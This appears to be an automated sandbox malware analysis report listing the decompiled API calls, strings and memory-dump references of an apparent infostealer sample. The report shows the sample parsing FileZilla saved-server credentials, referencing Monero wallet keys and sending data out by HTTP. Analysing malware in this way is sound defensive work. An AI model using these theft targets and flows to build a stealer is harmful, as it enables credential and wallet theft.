LoadLibraryA.KERNEL32(00FDD0A0,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA03D
LoadLibraryA.KERNEL32(00FDCEC0,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA04E
LoadLibraryA.KERNEL32(00FDD0D0,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA060
LoadLibraryA.KERNEL32(00FDCED8,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA072
LoadLibraryA.KERNEL32(00FDCF98,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA083
LoadLibraryA.KERNEL32(00FDCEF0,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA095
LoadLibraryA.KERNEL32(00FDCF08,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA0A7
LoadLibraryA.KERNEL32(00FDD0B8,?,004B5CA3,004C0AEB,?,?,?,?,?,?,?,?,?,?,004C0AEA,004C0AE3), ref: 004BA0B8
GetProcAddress.KERNEL32(75290000,00FC6738), ref: 004BA0DA
GetProcAddress.KERNEL32(75290000,00FDD220), ref: 004BA0F2
GetProcAddress.KERNEL32(75290000,00FD8ED8), ref: 004BA10A
GetProcAddress.KERNEL32(75290000,00FDD208), ref: 004BA123
GetProcAddress.KERNEL32(75290000,00FC69F8), ref: 004BA13B
GetProcAddress.KERNEL32(734C0000,00FCB4A8), ref: 004BA160
GetProcAddress.KERNEL32(734C0000,00FC6758), ref: 004BA179
GetProcAddress.KERNEL32(734C0000,00FCB4D0), ref: 004BA191
GetProcAddress.KERNEL32(734C0000,00FDD2F8), ref: 004BA1A9
GetProcAddress.KERNEL32(734C0000,00FDD370), ref: 004BA1C2
GetProcAddress.KERNEL32(734C0000,00FC6798), ref: 004BA1DA
GetProcAddress.KERNEL32(734C0000,00FC6A18), ref: 004BA1F2
GetProcAddress.KERNEL32(734C0000,00FDD1D8), ref: 004BA20B
GetProcAddress.KERNEL32(752C0000,00FC6A98), ref: 004BA22C
GetProcAddress.KERNEL32(752C0000,00FC68D8), ref: 004BA244
GetProcAddress.KERNEL32(752C0000,00FDD1F0), ref: 004BA25D
GetProcAddress.KERNEL32(752C0000,00FDD238), ref: 004BA275
GetProcAddress.KERNEL32(752C0000,00FC6958), ref: 004BA28D
GetProcAddress.KERNEL32(74EC0000,00FCB6B0), ref: 004BA2B3
GetProcAddress.KERNEL32(74EC0000,00FCB688), ref: 004BA2CB
GetProcAddress.KERNEL32(74EC0000,00FDD340), ref: 004BA2E3
GetProcAddress.KERNEL32(74EC0000,00FC67F8), ref: 004BA2FC
GetProcAddress.KERNEL32(74EC0000,00FC69D8), ref: 004BA314
GetProcAddress.KERNEL32(74EC0000,00FCB700), ref: 004BA32C
GetProcAddress.KERNEL32(75BD0000,00FDD1C0), ref: 004BA352
GetProcAddress.KERNEL32(75BD0000,00FC6A78), ref: 004BA36A
GetProcAddress.KERNEL32(75BD0000,00FD8F38), ref: 004BA382
GetProcAddress.KERNEL32(75BD0000,00FDD250), ref: 004BA39B
GetProcAddress.KERNEL32(75BD0000,00FDD268), ref: 004BA3B3
GetProcAddress.KERNEL32(75BD0000,00FC6898), ref: 004BA3CB
GetProcAddress.KERNEL32(75BD0000,00FC6A38), ref: 004BA3E4
GetProcAddress.KERNEL32(75BD0000,00FDD280), ref: 004BA3FC
GetProcAddress.KERNEL32(75BD0000,00FDD298), ref: 004BA414
GetProcAddress.KERNEL32(75A70000,00FC66F8), ref: 004BA436
GetProcAddress.KERNEL32(75A70000,00FDD310), ref: 004BA44E
GetProcAddress.KERNEL32(75A70000,00FDD328), ref: 004BA466
GetProcAddress.KERNEL32(75A70000,00FDD2B0), ref: 004BA47F
GetProcAddress.KERNEL32(75A70000,00FDD358), ref: 004BA497
GetProcAddress.KERNEL32(75450000,00FC6878), ref: 004BA4B8
GetProcAddress.KERNEL32(75450000,00FC6818), ref: 004BA4D1
GetProcAddress.KERNEL32(75DA0000,00FC67B8), ref: 004BA4F2
GetProcAddress.KERNEL32(75DA0000,00FDD2C8), ref: 004BA50A
GetProcAddress.KERNEL32(6F070000,00FC6718), ref: 004BA530
GetProcAddress.KERNEL32(6F070000,00FC6A58), ref: 004BA548
GetProcAddress.KERNEL32(6F070000,00FC6858), ref: 004BA560
GetProcAddress.KERNEL32(6F070000,00FDD2E0), ref: 004BA579
GetProcAddress.KERNEL32(6F070000,00FC6778), ref: 004BA591
GetProcAddress.KERNEL32(6F070000,00FC6978), ref: 004BA5A9
GetProcAddress.KERNEL32(6F070000,00FC6998), ref: 004BA5C2
GetProcAddress.KERNEL32(6F070000,00FC67D8), ref: 004BA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 004BA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 004BA607
GetProcAddress.KERNEL32(75AF0000,00FDCDE8), ref: 004BA629
GetProcAddress.KERNEL32(75AF0000,00FD8FC8), ref: 004BA641
GetProcAddress.KERNEL32(75AF0000,00FDCE00), ref: 004BA659
GetProcAddress.KERNEL32(75AF0000,00FDCC50), ref: 004BA672
GetProcAddress.KERNEL32(75D90000,00FC68B8), ref: 004BA693
GetProcAddress.KERNEL32(6CFB0000,00FDCDD0), ref: 004BA6B4
GetProcAddress.KERNEL32(6CFB0000,00FC68F8), ref: 004BA6CD
GetProcAddress.KERNEL32(6CFB0000,00FDCD28), ref: 004BA6E5
GetProcAddress.KERNEL32(6CFB0000,00FDCBD8), ref: 004BA6FD

Strings

InternetSetOptionA, xrefs: 004BA5E5
HttpQueryInfoA, xrefs: 004BA5FC

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 3a69838004e4cbb02a2751f002f4304935a87d2076f8217c21424f5fbc104fe0
Instruction ID: 8551e97212a60e332c416023d6ec7dfaa7fa771fa9ae2477c935386b22154ae8
Opcode Fuzzy Hash: 3a69838004e4cbb02a2751f002f4304935a87d2076f8217c21424f5fbc104fe0
Instruction Fuzzy Hash: DD621DB9510380AFCB54DFE8EDC89963BFBF74C201715A51EA605CB264D639B881CF22

Function 004A7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004A7724
RtlAllocateHeap.NTDLL(00000000), ref: 004A772B
lstrcat.KERNEL32(?,00FD9B48), ref: 004A78DB
lstrcat.KERNEL32(?,?), ref: 004A78EF
lstrcat.KERNEL32(?,?), ref: 004A7903
lstrcat.KERNEL32(?,?), ref: 004A7917
lstrcat.KERNEL32(?,00FDF298), ref: 004A792B
lstrcat.KERNEL32(?,00FDF250), ref: 004A793F
lstrcat.KERNEL32(?,00FDF358), ref: 004A7952
lstrcat.KERNEL32(?,00FDF220), ref: 004A7966
lstrcat.KERNEL32(?,00FDAD00), ref: 004A797A
lstrcat.KERNEL32(?,?), ref: 004A798E
lstrcat.KERNEL32(?,?), ref: 004A79A2
lstrcat.KERNEL32(?,?), ref: 004A79B6
lstrcat.KERNEL32(?,00FDF298), ref: 004A79C9
lstrcat.KERNEL32(?,00FDF250), ref: 004A79DD
lstrcat.KERNEL32(?,00FDF358), ref: 004A79F1
lstrcat.KERNEL32(?,00FDF220), ref: 004A7A04
lstrcat.KERNEL32(?,00FD9BD0), ref: 004A7A18
lstrcat.KERNEL32(?,?), ref: 004A7A2C
lstrcat.KERNEL32(?,?), ref: 004A7A40
lstrcat.KERNEL32(?,?), ref: 004A7A54
lstrcat.KERNEL32(?,00FDF298), ref: 004A7A68
lstrcat.KERNEL32(?,00FDF250), ref: 004A7A7B
lstrcat.KERNEL32(?,00FDF358), ref: 004A7A8F
lstrcat.KERNEL32(?,00FDF220), ref: 004A7AA3
lstrcat.KERNEL32(?,00FD9C38), ref: 004A7AB6
lstrcat.KERNEL32(?,?), ref: 004A7ACA
lstrcat.KERNEL32(?,?), ref: 004A7ADE
lstrcat.KERNEL32(?,?), ref: 004A7AF2
lstrcat.KERNEL32(?,00FDF298), ref: 004A7B06
lstrcat.KERNEL32(?,00FDF250), ref: 004A7B1A
lstrcat.KERNEL32(?,00FDF358), ref: 004A7B2D
lstrcat.KERNEL32(?,00FDF220), ref: 004A7B41
lstrcat.KERNEL32(?,00FDF3B0), ref: 004A7B55
lstrcat.KERNEL32(?,?), ref: 004A7B69
lstrcat.KERNEL32(?,?), ref: 004A7B7D
lstrcat.KERNEL32(?,?), ref: 004A7B91
lstrcat.KERNEL32(?,00FDF298), ref: 004A7BA4
lstrcat.KERNEL32(?,00FDF250), ref: 004A7BB8
lstrcat.KERNEL32(?,00FDF358), ref: 004A7BCC
lstrcat.KERNEL32(?,00FDF220), ref: 004A7BDF
lstrcat.KERNEL32(?,00FDF418), ref: 004A7BF3
lstrcat.KERNEL32(?,?), ref: 004A7C07
lstrcat.KERNEL32(?,?), ref: 004A7C1B
lstrcat.KERNEL32(?,?), ref: 004A7C2F
lstrcat.KERNEL32(?,00FDF298), ref: 004A7C43
lstrcat.KERNEL32(?,00FDF250), ref: 004A7C56
lstrcat.KERNEL32(?,00FDF358), ref: 004A7C6A
lstrcat.KERNEL32(?,00FDF220), ref: 004A7C7E

Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,004C17FC), ref: 004A7606
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A7648
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020, : ), ref: 004A765A
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A768F
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,004C1804), ref: 004A76A0
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,00000000), ref: 004A76D3
Part of subcall function 004A75D0: lstrcat.KERNEL32(2F5DF020,004C1808), ref: 004A76ED
Part of subcall function 004A75D0: task.LIBCPMTD ref: 004A76FB

lstrcat.KERNEL32(?,00FDF610), ref: 004A7E0B
lstrcat.KERNEL32(?,00FDD428), ref: 004A7E1E
lstrlen.KERNEL32(2F5DF020), ref: 004A7E2B
lstrlen.KERNEL32(2F5DF020), ref: 004A7E3B

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: da681efc271a08f1891718897fda475cc169df8b92b22603d50e298d28768d1e
Instruction ID: c178c02184887d5b8212aab9906696461469f5e3d0571bd8f2f7bed49e5583b6
Opcode Fuzzy Hash: da681efc271a08f1891718897fda475cc169df8b92b22603d50e298d28768d1e
Instruction Fuzzy Hash: 82323CB2D00354ABDB15EBA0DC85DEA737DBB54700F045A8DF209A6080EE78E789CF65

Function 004B0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
Part of subcall function 004A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
Part of subcall function 004A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
Part of subcall function 004A99C0: ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
Part of subcall function 004A99C0: LocalFree.KERNEL32(004A148F), ref: 004A9A90
Part of subcall function 004A99C0: CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

Part of subcall function 004B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004B8E52

GetProcessHeap.KERNEL32(00000000,000F423F,004C0DBA,004C0DB7,004C0DB6,004C0DB3), ref: 004B0362
RtlAllocateHeap.NTDLL(00000000), ref: 004B0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 004B0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 004B03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 004B0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004B0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004B0562
lstrcat.KERNEL32(?,profile: null), ref: 004B0571
lstrcat.KERNEL32(?,url: ), ref: 004B0580
lstrcat.KERNEL32(?,00000000), ref: 004B0593
lstrcat.KERNEL32(?,004C1678), ref: 004B05A2
lstrcat.KERNEL32(?,00000000), ref: 004B05B5
lstrcat.KERNEL32(?,004C167C), ref: 004B05C4
lstrcat.KERNEL32(?,login: ), ref: 004B05D3
lstrcat.KERNEL32(?,00000000), ref: 004B05E6
lstrcat.KERNEL32(?,004C1688), ref: 004B05F5
lstrcat.KERNEL32(?,password: ), ref: 004B0604
lstrcat.KERNEL32(?,00000000), ref: 004B0617
lstrcat.KERNEL32(?,004C1698), ref: 004B0626
lstrcat.KERNEL32(?,004C169C), ref: 004B0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004C0DB2), ref: 004B068E

Strings

<Host>, xrefs: 004B037C
login: , xrefs: 004B05CA
url: , xrefs: 004B0577
<Pass encoding="base64">, xrefs: 004B045A
<Port>, xrefs: 004B03C6
profile: null, xrefs: 004B0568
browser: FileZilla, xrefs: 004B0559
<User>, xrefs: 004B0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004B02A4
password: , xrefs: 004B05FB

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 3508b1af770a3480389eb14857856fbb4f523d96c8b5c476d98d5506c84b0205
Instruction ID: cd5b3f817d4005f3f5959de782a91c1c5fc1f15ad4a4d1c091f28f3b272f50e1
Opcode Fuzzy Hash: 3508b1af770a3480389eb14857856fbb4f523d96c8b5c476d98d5506c84b0205
Instruction Fuzzy Hash: A8D13D75900208ABCB04FBF5DD96EEE7379AF18304F50441EF102A6191DE78AA16CB7A

Function 004A5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
Part of subcall function 004A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

lstrlen.KERNEL32(00000000), ref: 004A5193

Part of subcall function 004B8EA0: CryptBinaryToStringA.CRYPT32(00000000,004A5184,40000001,00000000,00000000,?,004A5184), ref: 004B8EC0

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004A5207
StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A5340
HttpOpenRequestA.WININET(00000000,00FDF570,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A53A4

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00FDF5A0,00000000,?,00FDA0E8,00000000,?,004C19DC,00000000,?,004B51CF), ref: 004A5737
lstrlen.KERNEL32(00000000), ref: 004A574B
GetProcessHeap.KERNEL32(00000000,?), ref: 004A575C
RtlAllocateHeap.NTDLL(00000000), ref: 004A5763
lstrlen.KERNEL32(00000000), ref: 004A5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004A57A9
lstrlen.KERNEL32(00000000), ref: 004A57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004A57E1
lstrlen.KERNEL32(00000000,?,?), ref: 004A580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004A5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004A584D
InternetCloseHandle.WININET(00000000), ref: 004A58B1
InternetCloseHandle.WININET(00000000), ref: 004A58BE
InternetCloseHandle.WININET(00000000), ref: 004A58C8

Strings

------, xrefs: 004A5297
", xrefs: 004A5706
------, xrefs: 004A54F9
------, xrefs: 004A563B
--, xrefs: 004A5280
", xrefs: 004A5482
", xrefs: 004A55C4
------, xrefs: 004A53B7

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
